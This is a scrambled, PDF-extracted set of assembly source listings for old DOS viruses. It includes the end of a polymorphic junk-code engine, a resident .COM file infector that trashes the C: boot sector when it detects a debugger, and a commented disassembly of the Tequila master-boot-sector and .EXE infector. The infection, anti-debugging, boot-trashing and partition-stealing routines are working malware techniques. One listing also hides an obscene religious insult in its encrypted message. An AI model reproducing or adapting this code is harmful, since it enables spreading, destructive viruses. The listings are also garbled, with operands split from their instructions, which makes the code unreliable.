and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetoinc
call
pushregister
call
gengarbage
add stosb
al,040h
call
gengarbage
sub
al,040h
call
popregister
jmp
exitgen
savetoinc: add stosb jmp genincdec: add stosb
;is the reg. pushed?
al,040h exitgen
al,40h
call
gengarbage
add stosb
al,8
jmp
exitgen
;inc
;dec
;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates random dec ;----------------------------------------------------------------------------gendec: ;48 call getrndal cmp al,4 je gendec cmp ja
ah,80h gendecinc
and
eax,111b
cmp ja
byte ptr [ebp+offset pushtable+eax-start],0h savetodec
call
pushregister
call
gengarbage
add stosb
al,048h
call
gengarbage
sub
al,048h
call
popregister
jmp
exitgen
savetodec: add stosb jmp gendecinc: add stosb
;is the reg. pushed?
al,048h exitgen
al,48h
call
gengarbage
sub stosb jmp
al,8h exitgen
;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Pushes register in al ;----------------------------------------------------------------------------pushregister: push eax inc
byte ptr [ebp+offset pushtable+eax-start]
add stosb
al,050h
;set flag for reg.
pop eax ret ;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Pops register in al ;----------------------------------------------------------------------------popregister: push eax dec
byte ptr [ebp+offset pushtable+eax-start]
add stosb
al,058h
;unflag for reg.
pop eax ret ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random add reg, value or add reg1,reg2 - reg = al ;----------------------------------------------------------------------------randomadd: push eax call
get_rnd32
cmp pop push ja
al,80h eax eax addregreg
call
randomaddvalue
pop ret
eax
rndaddb:
addregreg: call jmp
randomaddreg rndaddb
;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates random add reg,value - reg = al ;-----------------------------------------------------------------------------
; 81 c0+reg value ; reg = eax 05 value randomaddvalue: push eax or jz
al,al addeax
xchg mov add
al,ah al,081h ah,0c0h
stosw backfromaddeax:
;reg = eax? ;special
call
get_rnd32
stosd pop ret
eax
mov stosb jmp
al,05h
addeax:
backfromaddeax
;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random add reg1,reg2 - reg1 = al ;----------------------------------------------------------------------------randomaddreg: push eax mov
bl,al
call
getrndal
shl
bl,3
or
al,bl
add mov xchg
al,0c0h ah,03h ah,al
;mix instructions
stosw pop eax ret ;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates random sub reg, value or sub reg1,reg2 - reg = al ;----------------------------------------------------------------------------randomsub: push
eax
call
get_rnd32
cmp pop push ja
al,80h eax eax subregreg
call
randomsubvalue
pop ret
eax
rndsubb:
subregreg: call
randomsubreg
jmp
rndsubb
;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates random sub reg,value - reg = al ;-----------------------------------------------------------------------------
; 81 c0+reg value ; reg = eax 05 value randomsubvalue: push eax or jz
al,al subeax
xchg mov add
al,ah al,081h ah,0e8h
;reg = eax? ;special
stosw backfromsubeax: call
get_rnd32
stosd pop ret
eax
mov stosb jmp
al,05h
subeax:
backfromsubeax
;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates random sub reg1,reg2 - reg1 = al ;----------------------------------------------------------------------------randomsubreg: push eax mov
bl,al
call
getrndal
shl
bl,3
or
al,bl
add mov xchg
al,0c0h ah,03h ah,al
stosw pop
eax
;mix instructions
ret ;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates a xor reg, value or xor reg, reg2 - reg = al ;----------------------------------------------------------------------------randomxor: push call cmp pop push ja
eax get_rnd32 al,80h eax eax xorvalue
call
randomxorreg
pop ret
eax
rndxorr:
xorvalue: call randomxorvalue jmp rndxorr ;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates a random xor reg,reg2 - reg = al ;----------------------------------------------------------------------------randomxorreg: push eax ;6633 mov
bl,al
call
getrndal
shl
bl,3
or
al,bl
add mov
al,0c0h ah,033h
xchg
ah,al
;mix instructions
stosw pop eax ret ;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generates a random xor reg,value ;----------------------------------------------------------------------------randomxorvalue: push eax add
al,0f0h
mov
ah,081h
xchg
al,ah
stosw call
get_rnd32
stosd pop eax ret ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; generates a random mov reg,value or reg,reg2 ;----------------------------------------------------------------------------randommov: push eax cmp jb
ah,080h movreg
call
randommovvalue
pop ret
eax
movback:
movreg: call randommovreg jmp movback ;----------------------------------------------------------------------------;----------------------------------------------------------------------------; Generates a random mov reg,value ;----------------------------------------------------------------------------randommovvalue: push eax add
al,0b8h
stosb call
get_rnd32
stosd pop ret
eax
;----------------------------------------------------------------------------; generates a random mov reg,reg2 ;----------------------------------------------------------------------------randommovreg: ;8b (c0+reg) or reg2 push eax mov bl,al call
getrndal
shl
bl,3
or
al,bl
xchg
ah,al
mov add
al,08bh ah,0c0h
;mix instructions
stosw pop ret
eax
;----------------------------------------------------------------------------; generates a random cmp reg,reg2 or cmp reg,value ;----------------------------------------------------------------------------gencmp: ;39/3b call get_rnd32 cmp jb
ah,0c0h gencmp
cmp ja
al,80h gencmpvalue
push
eax
call mov cmp ja add
get_rnd32 bh,039h al,80h gencmp1 bh,2
pop
eax
mov
al,bh
cld stosw jmp
exitgen
gencmp1:
gencmpvalue:
;81f8
and add
eax,0111b ax,081f8h
xchg
al,ah
stosw call
get_rnd32
stosd jmp
exitgen
;-----------------------------------------------------------------------------
;----------------------------------------------------------------------------; Generate junk f8 - fd ;----------------------------------------------------------------------------genjunk:
call cmp jb cmp ja
get_rnd32 al,0f8h genjunk al,0fdh genjunk
stosb jmp exitgen ;-----------------------------------------------------------------------------
getrndal: call and ret
get_rnd32 al,111b
rdtcs
equ
get_rnd32: push push push push push
;main part by GriYo / 29A ecx ebx edx edi esi
mov mov imul add mov
eax,dword ptr [ebp+rnd32_seed-start] ecx,eax eax,41C64E6Dh eax,00003039h dword ptr [ebp+rnd32_seed-start],eax
xchg rdtcs xchg xor
eax,ecx
pop pop pop pop pop ret
esi edi edx ebx ecx
;just 4 some xtra randomness eax,ecx eax,ecx
polyend: db
"(c)"
;just some junk
end: ;----------------------------------------------------------------------------;
pointertope
dd
?
if debug eq 1 death endif
dd
?
;kill ourself flag
busy filename peheader whereappend pushtable
dd db db dd db
? 100h dup (0h) 1024 dup (0h) ? 8 dup (0h)
viruscopy
db
(virusz+1000) dup (0h)
;virussize + poly
memend: _CODE
ends
;----------------------------------------------------------------------------; ;----------------------------------------------------------------------------; _DATA segment dword use32 public 'DATA' fill db ? _DATA ends _burp segment dword use32 public 'LiFEwiRE' fill2 db ? _burp ends ;----------------------------------------------------------------------------; end end
start
; Resident .COM midfile infector - 666 bytes - 02/2000 by T-2000/IR. ; Uses the INT 21h ISR to locate a suitable place to put the CALL_Virus.
Virus_Size Virus_Size_Mem
.286 .MODEL .CODE
TINY
EQU EQU
(End_Body-START) (((End_Heap-START)+15)/16)
START:
; ; ;
PUSHF PUSHA PUSH PUSH
; Save registers. DS ES
CALL
Get_IP
Encrypted with XOR 66h: "If Jesus was fucked to death, all xtians would be wearing tiny dildo's" (pardon my sense of humour :)
Message
DB DB DB DB DB DB DB DB DB DB DB
6Bh, 15h, 46h, 46h, 12h, 46h, 46h, 04h, 0Fh, 1Fh, 41h,
6Ch, 13h, 00h, 12h, 0Eh, 1Eh, 11h, 03h, 08h, 46h, 15h,
2Fh, 15h, 13h, 09h, 4Ah, 12h, 09h, 46h, 01h, 02h, 6Bh,
00h, 46h, 05h, 46h, 46h, 0Fh, 13h, 11h, 46h, 0Fh, 6Ch,
46h, 11h, 0Dh, 02h, 07h, 07h, 0Ah, 03h, 12h, 0Ah, 61h,
2Ch, 07h, 03h, 03h, 0Ah, 08h, 02h, 07h, 0Fh, 02h, 66h
03h 15h 02h 07h 0Ah 15h 46h 14h 08h 09h
Get_IP:
POP SUB
SI SI, (Message-START)
; Calculate delta offset.
MOV INT
AH, 30h 21h
; Get DOS version.
CMP JB
AL, 4 Restore_Host
; We need DOS 4.xx or above.
MOV INT
AX, 2000h 21h
; Virus residency check.
XCHG JCXZ
CX, AX Restore_Host
; Already up there? ; Then abort further install.
MOV INT
AH, 43h 68h
; Soft-Ice residency check.
CMP JZ
AX, 0F386h Trash_Boot
; Active?
; (This works in Win32 aswell tho you have to encapsulate it ; with a SEH as the INT 68h will GPF if Soft-Ice ain't loaded). Alloc_Memory:
XOR
CX, CX
Alloc_Block:
MOV MOV INT
AH, 48h BX, Virus_Size_Mem 21h
; Attempt to allocate memory.
Init_Block:
Restore_Host:
Host_Byte
JNC
Init_Block
DEC JNP
CX Restore_Host
; CX = -1 ; Endless loop?
MOV MOV INT
AH, 4Ah BX, CX 21h
; Get blocksize of ES.
MOV SUB INT JNC
AH, 4Ah BX, Virus_Size_Mem+1 21h Alloc_Block
; Create room for the virus.
JMP
Restore_Host
; And attempt allocation.
MOV
ES, AX
; ES = allocated block.
DEC MOV
AX DS, AX
; DS = MCB allocated block.
XOR
DI, DI
MOV
WORD PTR DS:[DI+1], 8
; Disguise block as system.
MOV SEGCS REP
CX, (Virus_Size/2)
; Copy viruscode up there.
PUSH
ES
MOV INT
AX, 3521h 21h
PUSH POP
ES DS
MOV MOV INT
AX, 2566h DX, BX 21h
POP
DS
MOV
Busy_Switch, CL
; Clear busy flag.
MOV MOV INT
AL, 21h DX, OFFSET New_Int21h 21h
; Hook INT 21h.
PUSH POP
SS ES
; So we can STOS to SS.
MOV
BP, SP
; Setup stack pointer.
MOV
DI, [BP+(11*2)]
; CALL_Virus return address.
SUB
DI, 3
; Offset of CALL_Virus.
MOV
[BP+(11*2)], DI
; Re-execute it later.
MOV = NOT
AL, NOT 0C3h BYTE PTR $-1 AL
; Encrypted original byte.
MOVSW
; Get INT 21h.
; Revector it to INT 66h.
; Decrypt byte.
STOSB
Host_Word
; Restore byte in memory.
MOV = INC STOSW
AX, 9090h-1 WORD PTR $-2 AX
; Encrypted original word.
POP POP POPA POPF
ES DS
; Restore original registers.
RETN
; Decrypt word. ; Restore word in memory.
; And re-execute, fixed code.
Trash_Boot: MOV MOV XOR SEGCS INT
AL, 2 CX, 1 DX, DX
; Trash the bootsector of C:.
INT
19h
; Reboot the system.
CMP JNE
AX, 2000h Check_Exit
; Virus residency call.
; Stupid anti-TBClean trick. 26h
New_Int21h:
Check_Exit:
Check_Timer:
Display_Char:
CBW
; AX = 0.
IRET
; And return.
PUSHA PUSH PUSH
DS ES
; Save all regs.
OR JZ
AH, AH Check_Timer
; Program terminate?
CMP JNE
AH, 4Ch Check_Debugger
; Program terminate?
IN
AX, 40h
; Get a random value.
ADD JNZ
AL, AH Check_Debugger
; 1/256 chance of displaying ; text message.
MOV MOV
AH, 0Eh SI, OFFSET Message
SEGCS LODSB
; Fetch next encrypted byte.
XOR JZ
AL, 66h Check_Debugger
; Displayed all so far? ; Then bail.
INT
10h
; BIOS display character.
JMP
Display_Char
; Go on.
Check_Debugger: XOR
DI, DI
MOV LDS LODSB
DS, DI SI, DS:[DI+(01h*4)]
; Get 1st instruction of ; INT 01h.
MOV
AH, AL
; Save it in AH.
MOV LDS LODSB
DS, DI SI, DS:[DI+(03h*4)]
; Get 1st instruction of ; INT 03h.
XOR JNZ
AX, 0CFCFh Trash_Boot
; if they're not IRET then ; a debugger has hooked them.
Check_Caller:
INT
01h
; Annoying break.
JMP =
$ BYTE PTR $-1
; Bail if we're busy already.
Busy_Switch
INC JS JP
CS:Int_Count Exit_ISR Exit_ISR
; Only examine INTs randomly ; to prevent slowdowns.
MOV MOV
BP, SP DS, [BP+(11*2)]
; DS = CS of calling INT 21h.
XCHG
SI, AX
; SI = 0.
CMP JNE
DS:[SI], 20CDh Exit_ISR
; Verify it's a .COM-PSP.
; Set the busy flag so we don't get interrupted.
Scan_For_Name:
MOV
CS:Busy_Switch, (Exit_ISR-Busy_Switch)-1
MOV INT
AH, 62h 66h
; Get current PSP.
CMP JNE
BX, [BP+(11*2)] Clear_Busy
; Caller's CS == PSP ? ; Else it ain't no .COM.
IN ADD
AX, 40h AL, AH
; Get a random number.
CMP JNB
AL, 150 Clear_Busy
; Infect the program here? ; Nope, maybe next time.
MOV
DS, DS:[SI+2Ch]
; .COM's environment block.
LODSW DEC
; ; ; ; ;
Scan for the end of all settings, after which the full path to the currently executing program resides.
SI
OR JNZ
AX, AX Scan_For_Name
CALL
Infect_File
Clear_Busy:
AND
CS:Busy_Switch, 0
; Open for business again..
Exit_ISR:
POP POP POPA
ES DS
; Restore the regs.
Do_Old_Int21h:
INT
66h
; Call the original INT 21h.
RETF
2
; And return with new flags.
MOV XOR CWD INT
AX, 4202h CX, CX
; Seek to the end of file.
DB
0CDh, 03h
; Annoying break.
MOV LEA INT JC
AX, 4300h DX, [SI+3] 66h Do_RETN
; Get file's attributes.
IN OR OUT
AL, 21h AL, 00000010b 21h, AL
; Lock the keyboard.
INT
01h
; Hang the possible debugger.
PUSH PUSH PUSH
DS DX CX
; Save path and attributes.
AND JZ
CL, 00000110b Clear_Readonly
; Leave system & hidden files ; alone (and clear r/o bit).
JMP
Nop_Attr_Rest
; Fix stack but don't restore ; attributes.
AX, 4301h 66h JMP_Nop_Attr
; Clear possible r/o bit.
MOV INT JNC
AX, 3D02h 66h Save_Handle
; Open file for read/write.
JMP
Restore_Attr
XCHG
BX, AX
PUSH POP
CS DS
MOV
SI, OFFSET Header
MOV MOV MOV INT JNC
AH, 3Fh CL, 4 DX, SI 66h Verify_Read
Seek_EOF:
Do_RETN:
66h
RETN
Infect_File:
JMP_Nop_Attr:
Clear_Readonly: MOV INT JC
Save_Handle:
JMP_Close_File: JMP
Close_File
Verify_Read:
AX, CX
CMP
; Save filehandle in BX.
; Read first 4 bytes of .COM.
; All 4 bytes we're read?
JNE
JMP_Close_File
CALL
Seek_EOF
; Get filesize.
DEC JNS
DX JMP_Close_File
; .COM is over 64k ? ; Then bail, obviously.
CMP JA
AX, (63*1024) JMP_Close_File
; .COM is too big?
CMP JB
AX, (4*1024) JMP_Close_File
; Or too small?
INC JZ
WORD PTR [SI+2] JMP_Close_File
; Don't infect .SYS-files.
CMP JE
[SI], 'ZM'+1 JMP_Close_File
; Ditto for .EXE-files.
CMP JE
[SI], 'MZ'+1 JMP_Close_File
MOV DEC MOV INT
AX, 4202h CX DL, -7 66h
; ; ; ;
Seek to the last 7 bytes of the .COM-file, this is where the possible ENUNS-string is located.
; My Win98 .COM-files have the ENUNS changed to NLDNS, so just ; checking for ENUNS would not work with these. Just treath every ; .COM-file as a ENUNS protected file and you're all set. MOV MOV MOV INT
AH, 3Fh CX, 7 DX, OFFSET Checksum_ID 66h
; Adjust the file's checksum. ADD
Checksum_Word, Virus_Size
CALL
Seek_EOF
LES
DI, [BP+(2*10)]
MOV DEC
DX, DI DH
; Minus PSP (100h).
CMP JNB
DX, AX JMP_Close_File
; IP points into the image? ; Else bail out.
SUB SUB
AX, DX AX, 3
; Calculate displacement.
MOV
BP, OFFSET CALL_Virus
MOV
CS:[BP+1], AX
PUSH
DX
MOV XOR INT
AX, 4200h CX, CX 66h
; ES:DI = CS:IP of the next ; instruction in the target.
; CALL_Virus displacement.
; Seek to the insert offset.
Restore_Date:
MOV
SI, OFFSET Header
MOV MOV MOV INT
AH, 3Fh CL, 3 DX, SI 66h
POP
DX
; Read the original bytes.
CMPSB JNE
Close_File
; Code in memory is the same ; as on disk?
CMPSW JNE
Close_File
; This avoids infecting ; packed files, etc.
SUB
SI, 3
LODSB NOT MOV
AL Host_Byte, AL
LODSW DEC MOV
AX Host_Word, AX
MOV XOR INT
AX, 4200h CX, CX 66h
; Seek to the insert offset ; again.
MOV INT JC
AX, 5700h 66h Close_File
; Get file's date & time.
MOV AND
AL, CL AL, 00011111b
; Mask-out seconds.
CMP JE
AL, (6/2) Close_File
; 6 seconds (infected) ? ; Then abort.
XCHG
CX, AX
; Put CX in AX.
AND OR
AL, 11100000b AL, (6/2)
; Clear seconds field. ; Set 6 seconds.
PUSH PUSH
AX DX
; Save the file date & time ; on the stack for later.
MOV MOV MOV INT JC
AH, 40h CX, 3 DX, BP 66h Restore_Date
; Write the CALL_Virus into ; the file.
CALL
Seek_EOF
MOV MOV INT
AH, 40h CX, Virus_Size 66h
; Append virusbody to the ; target file. (DX=0).
MOV POP POP
AX, 5701h DX CX
; Restore file date & time.
; Get 1st byte, encrypt and ; save it.
; Do the same with the next ; word.
INT
66h
Close_File:
MOV INT
AH, 3Eh 66h
; Close the file.
Restore_Attr:
MOV CMP ORG MOV POP POP POP INT
AX, 4301h AX, 0 $-2 AH, 19h CX DX DS 66h
; Restore file's attributes.
CMP XOR DEC PUSH POP CMP
AX, 545Bh CH, [BX] CX DX BP AX, 0DEADh
; Executable text string, ; '=[T2/IR]='. Very effective ; against lame text patching.
IN XOR OUT
AL, 21h AL, 00000010b 21h, AL
; Reverse state of keyboard, ; it'll lock if a debugger ; has skipped the 1st lock.
INT
03h
; Hang the possible debugger.
Nop_Attr_Rest:
Exit_Infect:
; Nop (get current drive).
RETN CALL_Virus
DB DW
0E8h 0
; CALL opcode.
Checksum_ID Checksum_Word
DB DW
5 DUP(0) 666
; Usually 'ENUNS'. ; Checksum itself.
Int_Count Header
DB DB
0 4 DUP(0)
End_Heap:
; ; ; ;
End_Body:
So it's lame.. a lame virus for a lame person.. Haven't bothered optimizing the code structure to the max, no time nor desire, sorry.. Remember, this is just a demonstration virus....
; Amen. END
START
; ; ; ;
Tequila.2468.A (exact) disasm. Multipartite semi-stealth polymorphic MBS & .EXE-infector. Bugs marked with '***'. T-2000/IR, March 2000. .MODEL .STACK .CODE
TINY 512
EQU EQU EQU EQU
(End_Body-START) ((End_Body-START)+511)/512 ((End_Body-START)+1023)/1024 ((End_Heap-START)+15)/16
Host_IP Host_CS Host_SS
DW DW DW
OFFSET Carrier (256/16) (256/16)
Infect_Year Infect_MD
DW DW
0 0
; Year of MBS infection. ; Month & day of MBS infection.
Tunnel_Success
DB
0
; DOS' INT 13h found boolean.
Word_16 Word_512 Word_250 Byte_12
DW DW DW DB
16 512 250 12
; Used for MUL/DIV operations.
Message
DB DB DB DB DB
0Dh, 0Ah, 0Dh, 0Ah 'Welcome to T.TEQUILA''s latest production.', 0Dh, 0Ah 'Contact T.TEQUILA/P.o.Box 543/6312 St''hausen/Switzerland.', 0Dh, 0Ah 'Loving thoughts to L.I.N.D.A', 0Dh, 0Ah, 0Dh, 0Ah 'BEER and TEQUILA forever !', 0Dh, 0Ah, 0Dh, 0Ah, '$'
Hint
DB
'Execute: mov ax, FE03 / int 21. Key to go on!'
Virus_Size Virus_Size_512 Virus_Size_1024 Virus_Size_Mem START:
; ; ; ;
Tequila's activation routine, it's supposed to activate on the same day as the MBS infection took place, 3 or more months later, when it will draw a colorful mandelbrot set consisting out of ASCII characters, and display a message.
Check_Activate: PUSH BP MOV SUB PUSH PUSH PUSH PUSH PUSH PUSH PUSH PUSH
AX BX CX DX SI DI ES DS
PUSH POP DS
CS
MOV
BP, SP SP, (6*2)
; Reserve 12 bytes on the ; stack.
AX, Infect_Year
; Year of MBS infection.
INC JZ
AX JMP_Exit_Act
; Skip all further checks? ; Yep.
DEC JNZ
AX Check_Date
; We're in countdown mode? ; Nope.
DEC JNZ
Infect_MD JMP_Exit_Act
; 3 program exits so far? ; Else bug out.
JMP
Init_Video_Seg
; Do the effect.
MOV CALL
AH, 2Ah Do_Old_Int21h
; Get the current date.
MOV
SI, CX
; SI = year count.
MOV
CX, Infect_MD
CMP JNE
CL, DL Disable_Check
; Same day as infection?
MOV
AX, SI
; AX = current year count.
SUB
AX, Infect_Year
; Minus the year count of ; MBS infection.
MUL
Byte_12
; Calculate total count of ; months in year count.
ADD
AL, DH
; Plus current month. ; AL = amount of months since ; MBS infection took place.
ADD
CH, 3
; Infection date + 3 months.
CMP JAE
AL, CH Enable_Call
; 3 months have passed? ; Then enable the payload.
Disable_Check:
MOV JMP
Infect_Year, -1 JMP_Exit_Act
; Don't check the date ; anymore.
Enable_Call:
MOV
Infect_Year, 0
; Signal that the payload ; can activate and the 0FE03h ; call can be accepted.
MOV
Infect_MD, 3
; Countdown timer, wait 3 ; program exits before ; activation.
JMP
Exit_Activate
Check_Date:
JMP_Exit_Act:
Init_Video_Seg: MOV
Set_Video_Seg:
BX, 0B800h
; VGA video segment.
INT
11h
; Get equipment status.
AND
AX, 0000000000110000b
; Mask out video state.
CMP JNE
AX, 0000000000110000b Set_Video_Seg
; 80x25 monochrome?
MOV
BX, 0B000h
; Monochrome video segment.
MOV
ES, BX
; I didn't bother commenting the effect as I don't have a clue of what the ; fuck it's doing. Besides, graphical payloads are for lamers anyways.... XOR
BX, BX
MOV
DI, 0FD8Fh
LOC_9:
MOV
SI, 0FC18h
LOC_10:
MOV MOV
[BP-(1*2)], SI [BP-(2*2)], DI
MOV
CX, 30
MOV AX
AX,[BP-(1*2)] ; dx:ax = reg * ax
MOV MOV
[BP-(4*2)], AX [BP-(3*2)], DX
MOV AX
AX, [BP-(2*2)] ; dx:ax = reg * ax
MOV MOV
[BP-(6*2)], AX [BP-(5*2)], DX
ADD ADC
AX, [BP-(4*2)] DX, [BP-(3*2)]
CMP JAE
DX, 15 LOC_12
MOV IMUL IDIV
AX, [BP-(1*2)] WORD PTR [BP-(2*2)] ; dx:ax = data * ax Word_250 ; ax,dxrem=dx:ax/data
ADD MOV
AX, DI [BP-(2*2)], AX
MOV MOV
AX, [BP-(4*2)] DX, [BP-(3*2)]
SUB SBB IDIV
AX, [BP-(6*2)] DX, [BP-(5*2)] Word_512
ADD MOV
AX, SI [BP-(1*2)], AX
LOOP
LOCLOOP_11
INC SHR
CX CL, 1
MOV MOV MOV
CH, CL CL, 0DBh ES:[BX], CX
ADD
SI, 18
LOCLOOP_11: IMUL
IMUL
LOC_12:
INC BX INC BX
Write_Char:
Exit_Activate: POP ES POP DI POP SI POP DX POP CX POP BX POP AX
CMP JL
SI, 1B8h LOC_10
ADD
DI, 52
CMP JL
DI, 2A3h LOC_9
XOR MOV MOV CLD
DI, DI ; Display the hint on screen. SI, OFFSET Hint CX, (Check_Activate-Hint)
MOVSB INC
DI
; Put a byte in video RAM. ; Don't change the attribute.
LOOP
Write_Char
; Do the entire string.
XOR INT
AX, AX 16h
; Wait for a keypress.
POP
DS
MOV
SP, BP
POP BP RETN
; This displays Tequila's message. Display_Message: PUSH DX PUSH DS PUSH POP DS
CS
MOV MOV CALL
AH, 09h DX, OFFSET Message Do_Old_Int21h
; Display string.
POP DS POP DX RETN
; This get's inserted into MBS'ses. MBS_Loader: CLI XOR MOV
BX, BX DS, BX
; Zero DS.
MOV MOV
SS, BX SP, 7C00h
; Setup a stack.
STI XOR
DI, DI
; Steal 3k of DOS memory to go resident into. SUB INT
WORD PTR DS:[413h], Virus_Size_1024 12h
MOV SHL
CL, 6 AX, CL
; Calculate segment to go ; resident into.
MOV ES
ES, AX
; Push relocated address.
PUSH
MOV AX
AX, OFFSET Relocated_Boot
PUSH
; Read the virusbody off disk. MOV MOV
AX, 0200h+Virus_Size_512 CX, DS:[7C00h+(Home_ST-MBS_Loader)]
MOV INT
DX, DS:[7C00h+(Home_HD-MBS_Loader)] 13h
INC CX
RETF
; Jump to the relocated code.
ID_Word
DW
0FE02h
; Already-infected-tag.
Home_ST Home_HD
DW DW
0 0
; Sector/track of virusbody. ; Head/drive of virusbody.
Relocated_Boot: PUSH POP
CS DS
XOR MOV
AX, AX ES, AX
MOV
BX, 7C00h
PUSH PUSH
ES BX
; ES:BX = 0000:7C00, boot ; address.
MOV MOV MOV INT
AX, 0201h CX, Home_ST DX, Home_HD 13h
; Read the original MBS from ; disk.
PUSH POP
CS ES
; ; ; ;
; Zero ES.
Create a copy of the INT 13h ISR, and the body encryptor & appender, as the virus will encrypt the runtime code when it infects a file so it doesn't have to use a seperate buffer.
CLD MOV MOV MOV REP
SI, OFFSET New_Int13h DI, OFFSET New_Int13h_Copy CX, (New_Int1Ch-New_Int13h) MOVSB
MOV MOV MOV REP
SI, OFFSET Append_Body_Encrypted DI, OFFSET Append_Body_Encrypted_Copy CX, (Decryptor-Append_Body_Encrypted) MOVSB
CLI XOR MOV
AX, AX ES, AX
; ES = IVT.
LES
BX, ES:[(1Ch*4)]
; Get INT 1Ch (timer).
MOV MOV
Old_Int1Ch, BX Old_Int1Ch+2, ES
; Save INT 1Ch.
MOV
ES, AX
; ES = IVT.
LES
BX, ES:[(21h*4)]
; Get INT 21h.
MOV MOV
Old_Int21h, BX Old_Int21h+2, ES
; Save INT 21h aswell.
MOV
ES, AX
; ES = IVT.
; Hook INT 1Ch. MOV MOV
ES:[(1Ch*4)], OFFSET New_Int1Ch ES:[(1Ch*4)+2], DS
STI RETF
; Jump to the original MBS.
; This is where the polymorphic decryptor jumps ; to after it's done decrypting the virusbody. Init_Virus: Get_IP:
PUSH PUSH PUSH POP DS
CALL POP SUB
Get_IP SI SI, OFFSET Get_IP
; Calculate the virus' ; delta offset in this CS.
PUSH AX ES
SI
; Save some needed registers.
AX, ES
; AX = current PSP.
CS
MOV
; Add the effective segment (PSP) to the segment values. ADD ADD
[SI+(Host_CS-START)], AX [SI+(Host_SS-START)], AX
DEC MOV
AX ES, AX
; Get the host's MCB in ES.
MOV INT
AX, 0FE02h 21h
; Virus' residency check.
CMP JE
AX, NOT 0FE02h Run_Host
; Virus is already installed? ; Then just bail to the host.
CMP JNE
BYTE PTR ES:[0], 'Z' Run_Host
; ; ; ;
Make sure this block is the last one in the chain, else higher blocks might get damaged.
; Make sure the memory block holds enough ; space to put the viruscode in. CMP JBE
WORD PTR ES:[3], Virus_Size_Mem Run_Host
MOV SUB
AX, ES:[12h] AX, Virus_Size_Mem
; PSP:[2], holds TOM segment. ; Minus the virus' size to ; get the virus segment.
MOV
ES, AX
; Virus segment.
XOR MOV CLD REP
DI, DI CX, Virus_Size
; Relocate the viruscode to ; the newly calculated ; unused segment.
PUSH
ES
; DS = virus segment.
CALL
Infect_MBS
; Infect the 1st MBS.
POP POP
ES AX
; Restore ES (PSP). ; Restore AX (FCB status).
PUSH
ES
; DS=ES=PSP.
POP
SI
; Restore virus delta offset.
MOVSB
POP DS
Run_Host:
POP DS
; Restore the host's original SS. MOV
SS, CS:[SI+(Host_SS-START)]
; And jump to the host's original entrypoint. JMP
DWORD PTR CS:[SI+(Host_IP-START)]
MOV INT
AH, 2Ah 21h
; Get the current date.
MOV MOV
Infect_Year, CX Infect_MD, DX
; Store date of infection.
MOV INT
AH, 52h 21h
; Get M$-DOS list of lists. ; (undocumented).
MOV MOV
AX, ES:[BX-2] First_MCB, AX
; Get segment of 1st MCB. ; And save it for tunneler.
MOV INT
AX, 3513h 21h
; Get INT 13h.
Infect_MBS:
MOV MOV
Old_Int13h, BX Old_Int13h+2, ES
; Save INT 13h.
MOV INT
AX, 3501h 21h
; Get INT 01h.
MOV MOV
SI, BX DI, ES
; Save INT 01h in DI:SI.
MOV MOV INT
AX, 2501h DX, OFFSET New_Int01h 21h
; Put in the tunneler.
MOV
Tunnel_Success, 0
; Initialize as 'not found'.
PUSHF
; Set the trapflag (TF).
POP AX PUSH
PUSH POP ES
OR AX POPF
AX, 100h
MOV MOV MOV MOV
AX, BX, CX, DX,
; Read the MBS of HD 1.
DS
PUSHF CALL
PUSH
0201h OFFSET Buffer 1 80h
PUSHF POP AND AX POPF
; Call INT 13h while tracing. DWORD PTR Old_Int13h
AX AX, NOT 100h
; Disable the TF incase ; INT 13h wasn't found.
PUSHF
Check_MBS: POP DS
MOV MOV MOV INT
AX, 2501h DX, SI DS, DI 21h
POPF JNC
Check_MBS
JMP
Exit_Inf_MBS
PUSH
ES
; Restore original INT 01h.
; Flags after the MBS read. ; If error, then bail out.
; ES = virus segment.
; Check if the MBS is already infected. CMP JNE
[BX+(ID_Word-MBS_Loader)], 0FE02h Find_DOS_Part
JMP
Exit_Inf_MBS
; This locates a DOS partition. Find_DOS_Part:
ADD
BX, 1BEh
; BX = begin partition table.
MOV
CX, 4
; Maximum of 4 partitions.
Scan_Partition: MOV
AL, [BX+4]
; Get the partition's system ; indicator.
CMP JE
AL, 4 Store_Home
; DOS 16-bit FAT ?
CMP JE
AL, 6 Store_Home
; DOS > 32M ?
CMP JE
AL, 1 Store_Home
; DOS 12-bit FAT ?
ADD
BX, 16
; Next partition.
LOOP
Scan_Partition
; Loop to the next partition.
JMP
Exit_Inf_MBS
; None found.
MOV MOV
DL, 80h DH, [BX+5]
; First harddisk. ; Last head of DOS partition.
MOV
Home_HD, DX
; Store virus' home ; drive & head.
MOV
AX, [BX+6]
; Last sector & track of ; DOS partition.
MOV MOV
CX, AX SI, Virus_Size_512+1
AND
AX, 0000000000111111b
; Strip track count to get ; the last track sector.
CMP JBE
AX, SI Exit_Inf_MBS
; There's enough space on ; this track for the virus?
SUB
CX, SI
; Steal needed sectors from ; the partition's last track.
MOV
DI, BX
MOV
Home_ST, CX
MOV MOV
AX, 0301h BX, OFFSET Buffer
PUSHF CALL JC
DWORD PTR Old_Int13h Exit_Inf_MBS
DEC MOV
CX [DI+6], CX
; Adjust the DOS partition ; to have 6 sectors less.
SUB SBB
[DI+12], SI WORD PTR [DI+12+2], 0
; Adjust the partition sector ; count aswell.
Store_Home:
; Virus sectors + old MBS.
INC CX
; Store the MBS on the stolen ; partition sectors.
INC CX
; Write the virusbody to the stolen sectors. MOV MOV
AX, 0300h+Virus_Size_512 BX, 0
INC CX PUSHF CALL JC
; INT 13h. DWORD PTR Old_Int13h Exit_Inf_MBS
; Copy the virus MBS loader into the MBS. MOV MOV MOV CLD REP
SI, OFFSET MBS_Loader DI, OFFSET Buffer CX, (Relocated_Boot-MBS_Loader)
MOV MOV MOV XOR
AX, BX, CX, DH,
PUSHF CALL Exit_Inf_MBS:
